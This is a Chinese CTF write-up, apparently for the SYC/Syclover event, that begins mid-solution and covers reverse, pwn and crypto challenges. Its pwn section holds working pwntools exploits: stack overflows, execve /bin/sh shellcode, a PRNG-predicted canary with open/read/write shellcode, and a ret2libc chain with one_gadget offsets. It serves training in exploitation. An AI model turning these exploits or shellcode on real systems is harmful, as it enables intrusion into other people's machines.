0x48, 0xF7, 0xB9, 0x98, 0xFB, 0x1B, 0x22, 0xEC, 0x84, 0x23,
0xFD, 0xB2]

for i in range(N):
S[i] = i
Key[i] = ord(key[i % len(key)])

j = 0
for i in range(N):
j = (j + S[i] + Key[i]) % N
S[i], S[j] = S[j], S[i]

i = 0
j = 0
for k in range(len(t)):
i = (i + 1) % N
j = (j + S[i]) % N
S[i], S[j] = S[j], S[i]
t[k] ^= S[(S[i] + S[j]) % N]

print(t)
print(''.join(chr(k) for k in t))

# SYC{N0thing_1s_sEriOus_But_MIku}

浪漫至死不渝

某师傅想给他的女神表白,他写了一个网站,点爱心之后就能输入密码,但是在写的过程中他不小心把提示的密码删除了,你能帮他找出表白密码吗?(输入密码时,记得刷新喔) ps:请将密码包裹SYC{}上交,且将字母全改为大写

js文件加密逻辑分析。

key为Text1,采用了栅栏密码加密得到 53X211WH04N,利用现有的 decryptRailFence() 函数解密:

decryptRailFence('53X211WH04N',3)='5201314WXHN'

密文为:125, 130, 131, 122, 117, 110, 123, 125, 130, 131, 122, 117, 110, 123, 99, 99, 99, 99

加密逻辑为:

1
2
i<14 时:c[i]=(m[i]^k[i%7])+10
i>=14 时:c[i]=(m[i]^k[i-7])+99

还原明文代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
c = [125, 130, 131, 122, 117, 110, 123, 125, 130, 131, 122, 117, 110, 123, 99, 99, 99, 99]
k = list(b'5201314WXHN')

m = []
for i in range(18):
if i < 14:
m.append((c[i]-10)^k[i%7])
else:
m.append((c[i]-99)^k[i-7])

print(bytes(m))

# b'FJIAXUEFJIAXUEWXHN'

flag:SYC{FJIAXUEFJIAXUEWXHN}

AES! AES?

What’s this ?

照逻辑尝试逆向即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
import math

v17 = [224, -251, -146, -62, -146, -103, -152, 69, -131, -225, -193, -7, -105, -138, 59, 146, 47, -188, -250, -153, -88, -21, -20, 74, -145, -24, -203, -7, -84, -89, 140, 113]
c = [k&0xff for k in v17]

v16 = [110, 121, 105, 131, 121, 127, 105, 117, 121, 120,
129, 105, 93, 99, 77, 73]

v13 = [122, 118, 107, 109, 111, 42, 115, 120, 121, 127,
126, 42, 131, 121, 127, 124, 42, 112, 118, 107,
113, 68, 42, 20]

v14 = v15 = 0

v10 = [131, 111, 125, 43, 42, 131, 121, 127, 42, 107,
124, 111, 42, 124, 115, 113, 114, 126, 43, 20,
10, 120, 121, 136, 126, 124, 131, 42, 107, 113,
107, 115, 120, 136, 20, 10, 120, 121, 136, 10]

S = [99, 124, 119, 123, 242, 107, 111, 197, 48, 1,
103, 43, 254, 215, 171, 118, 202, 130, 201, 125,
250, 89, 71, 240, 173, 212, 162, 175, 156, 164,
114, 192, 183, 253, 147, 38, 54, 63, 247, 204,
52, 165, 229, 241, 113, 216, 49, 21, 4, 199,
35, 195, 24, 150, 5, 154, 7, 18, 128, 226,
235, 39, 178, 117, 9, 131, 44, 26, 27, 110,
90, 160, 82, 59, 214, 179, 41, 227, 47, 132,
83, 209, 0, 237, 32, 252, 177, 91, 106, 203,
190, 57, 74, 76, 88, 207, 208, 239, 170, 251,
67, 77, 51, 133, 69, 249, 2, 127, 80, 60,
159, 168, 81, 163, 64, 143, 146, 157, 56, 245,
188, 182, 218, 33, 16, 255, 243, 210, 205, 12,
19, 236, 95, 151, 68, 23, 196, 167, 126, 61,
100, 93, 25, 115, 96, 129, 79, 220, 34, 42,
144, 136, 70, 238, 184, 20, 222, 94, 11, 219,
224, 50, 58, 10, 73, 6, 36, 92, 194, 211,
172, 98, 145, 149, 228, 121, 231, 200, 55, 109,
141, 213, 78, 169, 108, 86, 244, 234, 101, 122,
174, 8, 186, 120, 37, 46, 28, 166, 180, 198,
232, 221, 116, 31, 75, 189, 139, 138, 112, 62,
181, 102, 72, 3, 246, 14, 97, 53, 87, 185,
134, 193, 29, 158, 225, 248, 152, 17, 105, 217,
142, 148, 155, 30, 135, 233, 206, 85, 40, 223,
140, 161, 137, 13, 191, 230, 66, 104, 65, 153,
45, 15, 176, 84, 187, 22]

for i in range(24):
v13[i] -= 10
print(bytes(v13))
# v13 = b'place inout your flag: \n'

for i in range(40):
v10[i] -= 10
print(bytes(v10))
# v10 = b'yes! you are right!\n\x00'
# v11 = b'no~try again~\n\x00'
# v12 = b'no~\x00'

# len(s) == 32

v7 = [k-10 for k in v16]
print(bytes(v7))
# v16 = v7 = b'do_you_konw_SYC?'

# s[5] = 46
# s[10] = 108
# s[17] = 48

v18 = [100, 111, 95, 121, 111, 117, 95, 107, 111, 110,
119, 95, 83, 89, 67, 63, 39, 199, 144, 207,
199, 232, 144, 20, 199, 241, 130, 144, 190, 146,
89, 74, 235, 199, 144, 207, 199, 232, 144, 238,
199, 241, 130, 144, 190, 146, 146, 156, 235, 199,
144, 207, 199, 232, 144, 238, 199, 241, 130, 144,
190, 146, 146, 156, 235, 199, 144, 207, 199, 232,
144, 238, 199, 241, 130, 144, 190, 146, 146, 156,
235, 199, 144, 207, 199, 232, 144, 238, 199, 241,
130, 144, 190, 146, 146, 156, 235, 199, 144, 207,
199, 232, 144, 238, 199, 241, 130, 144, 190, 146,
146, 156, 235, 199, 144, 207, 199, 232, 144, 238,
199, 241, 130, 144, 190, 146, 146, 156, 235, 199,
144, 207, 199, 232, 144, 238, 199, 241, 130, 144,
190, 146, 146, 156, 235, 199, 144, 207, 199, 232,
144, 238, 199, 241, 130, 144, 190, 146, 146, 156,
235, 199, 144, 207, 199, 232, 144, 238, 199, 241,
130, 144, 190, 146, 146, 156, 235, 57, 144, 207,
199, 232, 144, 238, 199, 241, 130, 144, 190, 146,
146, 156]

# ----------------------------------------
# encrypt

def ShiftRow(A):
for i in range(0,16,4):
for j in range(math.ceil(i/4)):
A[i],A[i+1],A[i+2],A[i+3] = A[i+1],A[i+2],A[i+3],A[i]
return A

def transform(A):
tmp = [0]*16
for i in range(16):
tmp[i] = A[i]
x = 0
for j in range(4):
for k in range(4):
A[x] = tmp[4*k+j]
A[x] = S[A[x]]
x += 1
return A

s = list(b'abcde.ghijllmnopq0stuvwxyz123457')
v = [S[s[i]] for i in range(32)]

v = ShiftRow(v[:16])+ShiftRow(v[16:])
v = transform(v[:16])+transform(v[16:])

for k in range(16):
v[k] ^= v18[k]
v[k+16] ^= v18[k]

for k in range(32):
v[k] = S[v[k]]

v = ShiftRow(v[:16])+ShiftRow(v[16:])

for k in range(16):
v[k] ^= v18[16+k]
v[k+16] ^= v18[16+k]

print(v)


# ----------------------------------------
# decrypt

S_inv = [S.index(k) for k in range(256)]

def unShiftRow(A):
for i in range(0,16,4):
for j in range(math.ceil(i/4)):
A[i],A[i+1],A[i+2],A[i+3] = A[i+3],A[i],A[i+1],A[i+2]
return A

def untransform(A):
A = [S_inv[A[k]] for k in range(16)]
tmp = [0]*16
x = 0
for j in range(4):
for k in range(4):
tmp[4*k+j] = A[x]
x += 1
return tmp

y = c[:]

for k in range(16):
y[k] ^= v18[16+k]
y[k+16] ^= v18[16+k]

y = unShiftRow(y[:16])+unShiftRow(y[16:])

for k in range(32):
y[k] = S_inv[y[k]]

for k in range(16):
y[k] ^= v18[k]
y[k+16] ^= v18[k]

y = untransform(y[:16])+untransform(y[16:])
y = unShiftRow(y[:16])+unShiftRow(y[16:])
y = [S_inv[y[i]] for i in range(32)]
print(bytes(y))

# b'SYC{0.o_Thls_1s_n0t_A3s_(q^_^p)}'

ezandroid

喂!三点几啦!饮茶先啦! (flag需要包上SYC{}提交)

在MainActivity中查看逻辑为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
obj 补足24位 X
sb4 = sb2 = obj 偶数位
sb5 = sb3 = obj 奇数位
4位一组
a|b|c|d -> 整数

key = [2023708229, -158607964, -2120859654, 1167043672]

v0,v1,v2=m[0],m[1],m[2]
for i in range(32):
x+=0x9e3779b9
v0 += ((v1 << 4) + k0) ^ (v1 + x) ^ ((v1 >> 5) + k1)
v1 += ((v0 << 4) + k2) ^ (v0 + x) ^ ((v0 >> 5) + k3)
m[0]=v0
for i in range(32):
x+=0x9e3779b9
v2 += ((v1 << 4) + k0) ^ (v1 + x) ^ ((v1 >> 5) + k1)
v1 += ((v2 << 4) + k2) ^ (v2 + x) ^ ((v2 >> 5) + k3)
m[1]=v2
m[0]=v1

加密逻辑为魔改TEA:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
from Crypto.Util.number import *

def encrypt(v, k):
v0,v1,v2 = v[0],v[1],v[2]
x = 0
delta = 0x9E3779B9
k0,k1,k2,k3 = k[0],k[1],k[2],k[3]
for i in range(32):
x += delta
x = x & 0xFFFFFFFF
v0 += ((v1 << 4) + k0) ^ (v1 + x) ^ ((v1 >> 5) + k1)
v0 = v0 & 0xFFFFFFFF
v1 += ((v0 << 4) + k2) ^ (v0 + x) ^ ((v0 >> 5) + k3)
v1 = v1 & 0xFFFFFFFF
v[0] = v0
for i in range(32):
x += delta
x = x & 0xFFFFFFFF
v2 += ((v1 << 4) + k0) ^ (v1 + x) ^ ((v1 >> 5) + k1)
v2 = v2 & 0xFFFFFFFF
v1 += ((v2 << 4) + k2) ^ (v2 + x) ^ ((v2 >> 5) + k3)
v1 = v1 & 0xFFFFFFFF
v[1] = v2
v[2] = v1
return v

m = b'abcdefghijkl'
m = [bytes_to_long(m[4*i:4*(i+1)]) for i in range(len(m)//4)]
print(m)

key = [2023708229, -158607964, -2120859654, 1167043672]
key = [k & 0xffffffff for k in key]

c = encrypt(m, key)
print(c)
cc = []
for k in c:
cc += list(long_to_bytes(k))
print(cc)


# bArr = bArr2 = cc = 'a5f892c9cf4b730db48f6650'
# ad@#E!@a123 = sb5
# eCAS213@!@3 = bArr

带符号解密:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#include <stdio.h>
#include <stdlib.h>

//解密函数
void decrypt (int* v, int* k) {
int v0=v[0], v1=v[2],v2=v[1], sum=(-1640531527)*64, i;
int delta=0x9e3779b9;
int k0=k[0], k1=k[1], k2=k[2], k3=k[3];
for (i=0; i<32; i++) {
v1 -= ((v2<<4) + k2) ^ (v2 + sum) ^ ((v2>>5) + k3);
v2 -= ((v1<<4) + k0) ^ (v1 + sum) ^ ((v1>>5) + k1);
sum += 1640531527;
}
for (i=0; i<32; i++) {
v1 -= ((v0<<4) + k2) ^ (v0 + sum) ^ ((v0>>5) + k3);
v0 -= ((v1<<4) + k0) ^ (v1 + sum) ^ ((v1>>5) + k1);
sum += 1640531527;
}
v[0]=v0; v[1]=v1; v[2]=v2;
}

int main()
{
int v[3]={2784531145, 3477828365, 3029296720};
int k[4]={2023708229, -158607964, -2120859654, 1167043672};
decrypt(&v, k);
printf("%x%x%x",v[0],v[1],v[2]);
return 0;
}

//543056743333546e30697472
//T0Vt33Tn0itr

在MainActivity2中查看逻辑为:

1
2
3
4
5
6
7
8
iArr=[-107, -106, -95, -115, -119, 127, 26, 121, -62, -20, 86, 9] = '9596a18d897f1a79c2ec5609'

bytes = ad@#E!@a123 = sb5
byteArrayExtra = eCAS213@!@3 = bArr

byteArrayExtra ^ bytes = iArr

故 bytes = '0n3DF4itvc0Y'

合并得到flag:SYC{T00nV3tD3F34Tint0vict0rY}

是男人就来扎针

简单的游戏逆向送分题,最终flag记得包裹上SYC{}

ILSPY反编译,在 public class GameManager 找到代码逻辑。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
magicc = [75, 109, 102, 63, 107, 112, 63, 108, 124, 112,
109, 122, 63, 43, 47, 63, 111, 112, 118, 113,
107, 108, 62]

magic = [124, 90, 81, 8, 92, 71, 8, 90, 77, 73,
75, 64, 8, 25, 24, 24, 8, 88, 71, 65,
70, 92, 91, 9]

for i in range(30):
magicc = [magicc[k] ^ (i+1) for k in range(len(magicc))]

print(bytes(magicc))

for i in range(40):
magic = [magic[k] ^ (i+1) for k in range(len(magicc))]

print(bytes(magic))

import hashlib
m = hashlib.md5(bytes(magicc)).hexdigest().upper()
print(m)

# CBDDD133B60130856D3C695D9E5ED6A5

flag:SYC{CBDDD133B60130856D3C695D9E5ED6A5}

PWN

nc_pwntools

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *

r=remote('pwn.node.game.sycsec.com',30348)

r.recvuntil(b'!!!\n')
r.send(b'a'*92+b'Syclover')

r.recvuntil(b'first one\n')
exp=r.recvline().strip()[:-2]
print(exp)
r.sendline(str(eval(exp)).encode())

r.interactive()

password

概率性getshell。

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *

r=remote('pwn.node.game.sycsec.com',30941)

r.recvline()
pl=b'a'*(0x20+8)+p64(0x4012F3)
r.send(pl)

r.recvline()
r.sendline(b'\x00')

r.interactive()

ret2text

开了PIE,概率性getshell。

1
2
3
4
5
6
7
8
9
from pwn import *

r=remote('pwn.node.game.sycsec.com',31277)

r.recvline()
pl=b'a'*(0x50+8)+b'\x27\x12'
r.send(pl)

r.interactive()

write1

按字节修改返回地址为后门函数 backdoor() 地址,修改2个字节即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from pwn import *

r=remote('pwn.node.game.sycsec.com',31467)

r.sendline(b'abcdefghi')

# 0x40134d -> 0x401225

r.recvuntil(b'index:\n')
# 0x68-0x40=40
r.sendline(b'40')
r.recvuntil(b'value:')
# (0x25-0x4d)&0xffffffff=0xffffffd8
r.sendline(b'ffffffd8')

r.recvuntil(b'index:\n')
# 0x68+1-0x40=41
r.sendline(b'41')
r.recvuntil(b'value:')
# (0x12-0x13)&0xffffffff=0xffffffff
r.sendline(b'ffffffff')

r.recvuntil(b'index:\n')
# exit
r.sendline(b'-1')

r.interactive()

ret2libc

(代码待补充)

ezpwn

先做这题,简单

(代码待补充)

write2

栈地址泄露,栈可写,写24长度内的shellcode,while循环改写retaddr为栈地址,ret2shellcode。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from pwn import *

r=remote('pwn.node.game.sycsec.com',31581)
context.arch='amd64'

r.recvuntil(b'addr:')
stack_leak=eval(r.recvline())
print(hex(stack_leak))

pl=b"\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05"
print(len(pl))
r.sendline(pl)

shell_addr=stack_leak+4


for i in range(6):
r.recvuntil(b'index:\n')
r.sendline(str(40+i).encode())
r.recvuntil(b'value:')
r.sendline(hex(shell_addr>>(8*i)&0xff)[2:].encode())

r.recvuntil(b'index:\n')
r.sendline(b'-1')

r.interactive()

fmt1.0

(代码待补充)

white_canary

远程之前记得“sudo ntpdate cn.pool.ntp.org” 同步下时间

init() 自己实现了canary计算方法,禁用了59,无法 execve

伪随机数算canary+写orw的shellcode+ret2shellcode。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from pwn import *
from ctypes import *

r=remote('pwn.node.game.sycsec.com',31600)
context.arch='amd64'
libc=cdll.LoadLibrary('libc.so.6')

seed=libc.time(0)%60
libc.srand(seed)
v2 = libc.rand()
v3 = libc.rand()
canary = (((v2 >> 4) ^ (16 * v3 + (v3 >> 8) * (v2 << 8))) >> 32) \
+ ((((v2 >> 48) + (v2 << 16) * (v3 >> 16)) ^ (v3 << 48)) << 32)

canary&=0xffffffffffffffff
print(hex(canary))

r.recvuntil(b'name:\n')
someplace=0x404080
pl=asm(shellcraft.open("./flag"))
pl+=asm(shellcraft.read(3, someplace, 0x20))
pl+=asm(shellcraft.write(1, someplace, 0x20))
r.send(pl)

r.recvline()
buf=0x4040E0
pl=b'a'*(0x10-8)+p64(canary)+b'a'*8+p64(buf)
r.sendline(pl)

r.interactive()

ez_fullprotection

scanf泄露_start地址绕PIE,线程溢出TLS覆盖canary。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
from pwn import *

r=remote('pwn.node.game.sycsec.com',30161)
elf=ELF('./ez_fullprotection')
libc=ELF('./libc.so.6')

r.recvline()
r.recvline()
r.sendline(b'x')

r.recvline()
r.sendline(b'+')
r.recvuntil(b'entered ')
_start=eval(r.recvuntil(b'.')[:-1])
base=_start - elf.sym._start
print(hex(base))

puts_plt=base+elf.plt.puts
puts_got=base+elf.got.puts
pop_rdi=base+0x16e3
ret=base+0x101a
ret_addr=base+0x1541

pl=b'a'*(0x30+8)+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(ret_addr)
pl=pl.ljust(0x870, b'a')
r.sendline(pl)

puts_addr=u64(r.recvuntil(b'\x7f')[-6:]+b'\x00'*2)
print(hex(puts_addr))
libc_base=puts_addr-libc.sym.puts
ogg=[0xe3afe, 0xe3b01, 0xe3b04]
ogg=[libc_base+k for k in ogg]

pop_4=base+0x16dc
pl=b'a'*(0x30+8)+p64(pop_4)+p64(0)*4+p64(ogg[0])
r.sendline(pl)

r.interactive()

CRYPTO

SignIn

Bibo…Hello! 你好! こんにちは! Привет! 5359437b48656c6c6f5f576f726c645f43727970746f5f6269626f6269626f7d… Hmm… Something goes wrong with my grettings bot.

16进制转字符串:SYC{Hello_World_Crypto_bibobibo}

proof_of_work

题目链接:nc 59.110.20.54:5526 Build your own function to solve proof_of_work!

PoW代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from pwn import *
from hashlib import sha256
import string
from pwnlib.util.iters import mbruteforce

r = remote('59.110.20.54',5526)

table = string.ascii_letters+string.digits
def PoW():
r.recvuntil('XXXX+')
suffix = r.recv(16).decode('utf8')
r.recvuntil('== ')
cipher = r.recvline().strip().decode('utf8')
proof = mbruteforce(lambda x: sha256((x + suffix).encode()).hexdigest() ==
cipher, table, length=4, method='fixed')
r.sendlineafter('XXXX: ', proof)

PoW()
r.interactive()

# Congrats! Your flag is: SYC{st3p_1nt0_1nter4ctive_Crypt0graphy}

SimpleRSA

So simple RSA! Wait… Are you kidding me? https://en.wikipedia.org/wiki/RSA_(cryptosystem) hint: flag<p

1
2
3
4
5
6
7
8
9
10
11
12
import gmpy2
from Crypto.Util.number import *
flag = b"SYC{Al3XEI_FAKE_FLAG}"
assert len(flag) == 35
p,q = [getPrime(2048) for _ in "__"]
n = p*q
e = 65537
c = gmpy2.powmod(bytes_to_long(flag),e,n)
print(p)
print(c)
#24724324630507415330944861660078769085865178656494256140070836181271808964994457686409910764936630391300708451701526900994412268365698217113884698394658886249353179639767806926527103624836198494439742123128823109527320850165486500517304731554371680236789357527395416607541627295126502440202040826686102479225702795427693781581584928770373613126894936500089282093366117940069743670997994742595407158340397268147325612840109162997306902492023078425623839297511182053658542877738887677835528624045235391227122453939459585542485427063193993069301141720316104612551340923656979591045138487394366671477460626997125944456537
#510345661718450375632304764819724223824018609359964259503762283253350010161515190912152623604019093266967095847334388281390406831587663253164256543905694021952211220652820225527413861208452760215767828927039893435528572148282529198773772864255061213208279999011194952146362748485103032149806538140693537361755210176698895104708379400806511907719904867068865970241208806615061055047254026118016836750283966478103987375361826198930529462261013324904522014804502582865716441828895047550041401172127129749969507853355531197814919603963664646220505672302543085959372679395717892060245461464861507164276442140407308832537707450729432224150754603518526288767105682399190438680085925078051459448618725871249563011864525585870188123725554411655044152994826056900502298772802133526591794328224932405680583757307064395792317383571866619582974377344736930271554160701478385763426091091686496788999588340419226785217028504684542197970387916262126278955278523452903043316452825738030645100271595942652498852506660789605846309602343932245435421425673058238785509280366229754404949219663043627431437755087855502139890639468481922788973821783957766433857773771229298328019250652625289700950165414584983487319078090573179470893450632419467111117341472

$d = e^{-1} \bmod p,\;\;\; m = c^d \bmod p$。

1
2
3
4
5
6
7
8
e = 65537
p = 24724324630507415330944861660078769085865178656494256140070836181271808964994457686409910764936630391300708451701526900994412268365698217113884698394658886249353179639767806926527103624836198494439742123128823109527320850165486500517304731554371680236789357527395416607541627295126502440202040826686102479225702795427693781581584928770373613126894936500089282093366117940069743670997994742595407158340397268147325612840109162997306902492023078425623839297511182053658542877738887677835528624045235391227122453939459585542485427063193993069301141720316104612551340923656979591045138487394366671477460626997125944456537
c = 510345661718450375632304764819724223824018609359964259503762283253350010161515190912152623604019093266967095847334388281390406831587663253164256543905694021952211220652820225527413861208452760215767828927039893435528572148282529198773772864255061213208279999011194952146362748485103032149806538140693537361755210176698895104708379400806511907719904867068865970241208806615061055047254026118016836750283966478103987375361826198930529462261013324904522014804502582865716441828895047550041401172127129749969507853355531197814919603963664646220505672302543085959372679395717892060245461464861507164276442140407308832537707450729432224150754603518526288767105682399190438680085925078051459448618725871249563011864525585870188123725554411655044152994826056900502298772802133526591794328224932405680583757307064395792317383571866619582974377344736930271554160701478385763426091091686496788999588340419226785217028504684542197970387916262126278955278523452903043316452825738030645100271595942652498852506660789605846309602343932245435421425673058238785509280366229754404949219663043627431437755087855502139890639468481922788973821783957766433857773771229298328019250652625289700950165414584983487319078090573179470893450632419467111117341472
d = inverse_mod(e,p-1)
m = pow(c,d,p)
print(bytes.fromhex(hex(m)[2:]))

b'SYC{Just_a_s1mple_modular_equation}'

OTPTwice

I invented a new symmetric cryptosystem, and I believe you will never break it!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
from pwn import xor 
from os import urandom
flag = b"SYC{Al3XEI_FAKE_FLAG}"

# step0: key generation & distribution
def s0(msg):
k1,k2 = [urandom(len(msg)) for _ in "__"]
return k1,k2

#

# step1: Alice encrypt M, and send it to Bob
def s1(msg,k1):
c1 = xor(msg,k1)
return c1

# step2: Bob encrypt c1, and send it to Alice
def s2(msg,k2):
c2 = xor(msg,k2)
return c2

# step3: Alice decrypt c2, and send it to Bob.
def s3(msg,k1):
c3 = xor(msg,k1)
return c3

# step4: Bob decrypt c3, get M.
def s4(msg,k2):
m_ = xor(msg,k2)
return m_


def encrypt(msg,k1,k2):
c1 = s1(msg,k1)
c2 = s2(c1,k2)
c3 = s3(c2,k1)
m_ = s4(c3,k2)
assert msg == m_

# Here's what hacker Eve got:
def encrypt_(msg,k1,k2):
c1 = s1(msg,k1)
c2 = s2(c1,k2)
c3 = s3(c2,k1)
m_ = s4(c3,k2)
if HACK == True:
print(c1)
print(c2)
print(c3)


k1,k2 = s0(flag)
encrypt_(flag,k1,k2)

'''
b'\xdbi\xab\x8d\xfb0\xd3\xfe!\xf8Xpy\x80w\x8c\x87\xb9'
b'o\xb0%\xfb\xdb\x0e\r\x04\xde\xd1\x9a\x08w\xda4\x0f\x0cR'
b'\xe7\x80\xcd\ria\xb2\xca\x89\x1a\x9d;|#3\xf7\xbb\x96'
'''

推导有 $m = c_1 \oplus c_2 \oplus c_3$。

1
2
3
4
5
6
7
8
9
10
from Crypto.Util.strxor import strxor

c1 = b'\xdbi\xab\x8d\xfb0\xd3\xfe!\xf8Xpy\x80w\x8c\x87\xb9'
c2 = b'o\xb0%\xfb\xdb\x0e\r\x04\xde\xd1\x9a\x08w\xda4\x0f\x0cR'
c3 = b'\xe7\x80\xcd\ria\xb2\xca\x89\x1a\x9d;|#3\xf7\xbb\x96'

m = strxor(strxor(c1,c2),c3)
print(m)

# b'SYC{I_l0v3_Crypt0}'

OldAlgorithm

An old algorithm but widely used nowadays.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from Crypto.Util.number import * 
import os
flag = b"SYC{Al3XEI_FAKE_FLAG}"

pad = lambda msg,padlen: msg+os.urandom(padlen-len(msg))

flag = pad(flag,32)
print(len(flag))
p = [getPrime(16) for _ in range(32)]
c = [bytes_to_long(flag)%i for i in p]


print('p=',p)
print('c=',c)

'''
p= [58657, 47093, 47963, 41213, 57653, 56923, 41809, 49639, 44417, 38639, 39857, 53609, 55621, 41729, 60497, 44647, 39703, 55117, 44111, 57131, 37747, 63419, 63703, 64007, 46349, 39241, 39313, 44909, 40763, 46727, 34057, 56333]
c= [36086, 4005, 3350, 23179, 34246, 5145, 32490, 16348, 13001, 13628, 7742, 46317, 50824, 23718, 32995, 7640, 10590, 46897, 39245, 16633, 31488, 36547, 42136, 52782, 31929, 34747, 29026, 18748, 6634, 9700, 8126, 5197]
'''

CRT算法。

1
2
3
4
5
6
p = [58657, 47093, 47963, 41213, 57653, 56923, 41809, 49639, 44417, 38639, 39857, 53609, 55621, 41729, 60497, 44647, 39703, 55117, 44111, 57131, 37747, 63419, 63703, 64007, 46349, 39241, 39313, 44909, 40763, 46727, 34057, 56333]
c = [36086, 4005, 3350, 23179, 34246, 5145, 32490, 16348, 13001, 13628, 7742, 46317, 50824, 23718, 32995, 7640, 10590, 46897, 39245, 16633, 31488, 36547, 42136, 52782, 31929, 34747, 29026, 18748, 6634, 9700, 8126, 5197]
m = crt(c,p)
print(bytes.fromhex(hex(m)[2:]))

# b'SYC{CRT_1s_s0_ju1cy!}]mC\x9c\xf9C/\xfc\xb8t\x16'

easy_classic

非常好套娃,使我的古典旋转

每一层解出的字符串为下一层zip压缩包密码。

第1层:udzeojxuwqcu,ROT10,得:enjoythegame

第2层:ialhhooavtepcyr,栅栏7,得:ilovecryptohaha

第3层:5a6H5a6Z5LiH5rOV55qE6YKj5Liq5rqQ5aS0,base64,得:宇宙万法的那个源头

第4层:熊曰:呋食食食取噗山笨笨破嗄咯哈動嗡雜類嗒嘿啽沒歡破吖咬我啽寶盜噔咯沒,熊曰解密,得:never gonna give you up

第5层:password: adltlfltqrcykey: 👝👘👠👩👞👘👤👜

先base100,得:key=fairgame,再playfair,得:genshinstart

flag:SYC{classical_1s_fun}

PolyRSA

Harder RSA. Check it out!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import gmpy2
from Crypto.Util.number import *
flag = b"SYC{Al3XEI_FAKE_FLAG}"
p,q = [getPrime(2048) for _ in "__"]
e1,e2 = [getPrime(17) for _ in "__"]
e = 65537
n = p*q
c1 = gmpy2.powmod(2*p + 3*q,e1,n)
c2 = gmpy2.powmod(5*p + 7*q,e2,n)
c = gmpy2.powmod(bytes_to_long(flag),e,n)
print("e1=",e1)
print("e2=",e2)
print("c1=",c1)
print("c2=",c2)
print("c=",c)
print("n=",n)

#e1= 113717
#e2= 80737
#c1= 97528398828294138945371018405777243725957112272614466238005409057342884425132214761228537249844134865481148636534134025535106624840957740753950100180978607132333109806554009969378392835952544552269685553539656827070349532458156758965322477969141073720173165958341043159560928836304172136610929023123638981560836183245954461041167802574206323129671965436040047358250847178930436773249800969192016749684095882580749559014647942135761757750292281205876241566597813517452803933496218995755905344070203047797893640399372627351254542342772576533524820435965479881620338366838326652599102311019884528903481310690767832417584600334987458835108576322111553947045733143836419313427495888019352323209000292825566986863770366023326755116931788018138432898323148059980463407567431417724940484236335082696026821105627826117901730695680967455710434307270501190258033004471156993017301443803372029004817834317756597444195146024630164820841200575179112295902020141040090350486764038633257871003899386340004440642516190842086462237559715130631205046041819931656962904630367121414263911179041905140516402771368603623318492074423223885367923228718341206283572152570049573607906130786276734660847733952210105659707746969830132429975090175091281363770357
#c2= 353128571201645377052005694809874806643786163076931670184196149901625274899734977100920488129375537186771931435883114557320913415191396857882995726660784707377672210953334914418470453787964899846194872721616628198368241044602144880543115393715025896206210152190007408112767478800650578941849344868081146624444817544806046188600685873402369145450593575618922226415069043442295774369567389939040265656574664538667552522329712111984168798829635080641332045614585247317991581514218486004191829362787750803153463482021229058714990823658655863245025037102127138472397462755776598314247771125981017814912049441827643898478473451005083533693951329544115861795587564408860828213753948427321483082041546722974666875065831843384005041800692983406353922680299538080900818930589336142421748023025830846906503542594380663429947801329079870530727382679634952272644949425079242992486832995962516376820051495641486546631849426876810933393153871774796182078367277299340503872124124714036499367887886486264658590613431293656417255355575602576047502506125375605713228912611320198066713358654181533335650785578352716562937038768171269136647529849805172492594142026261051266577821582011917001752590659862613307646536049830151262848916867223615064832279222
#c= 375617816311787295279632219241669262704366237192565344884527300748210925539528834207344757670998995567820735715933908541800125317082581328287816628816752542104514363629022246620070560324071543077301256917337165566677142545053272381990573611757629429857842709092285442319141751484248315990593292618113678910350875156232952525787082482638460259354559904243062546518553607882194808191571131590524874275187750985821420412987586148770397073003186510357920710387377990379862185266175190503647626248057084923516190642292152259727446111686043531725993433395002330208067534104745851308178560234372373476331387737629284961288204368572750848248186692623500372605736825205759172773503283282321274793846281079650686871355211691681512637459986684769598186821524093789286661348936784712071312135814683041839882338235290487868969391040389837253093468883093296547473466050960563347060307256735803099039921213839491129726807647623542881247210251994139130146519265086673883077644185971830004165931626986486648581644383717994174627681147696341976767364316172091139507445131410662391699728189797082878876950386933926807186382619331901457205957462337191923354433435013338037399565519987793880572723211669459895193009710035003369626116024630678400746946356
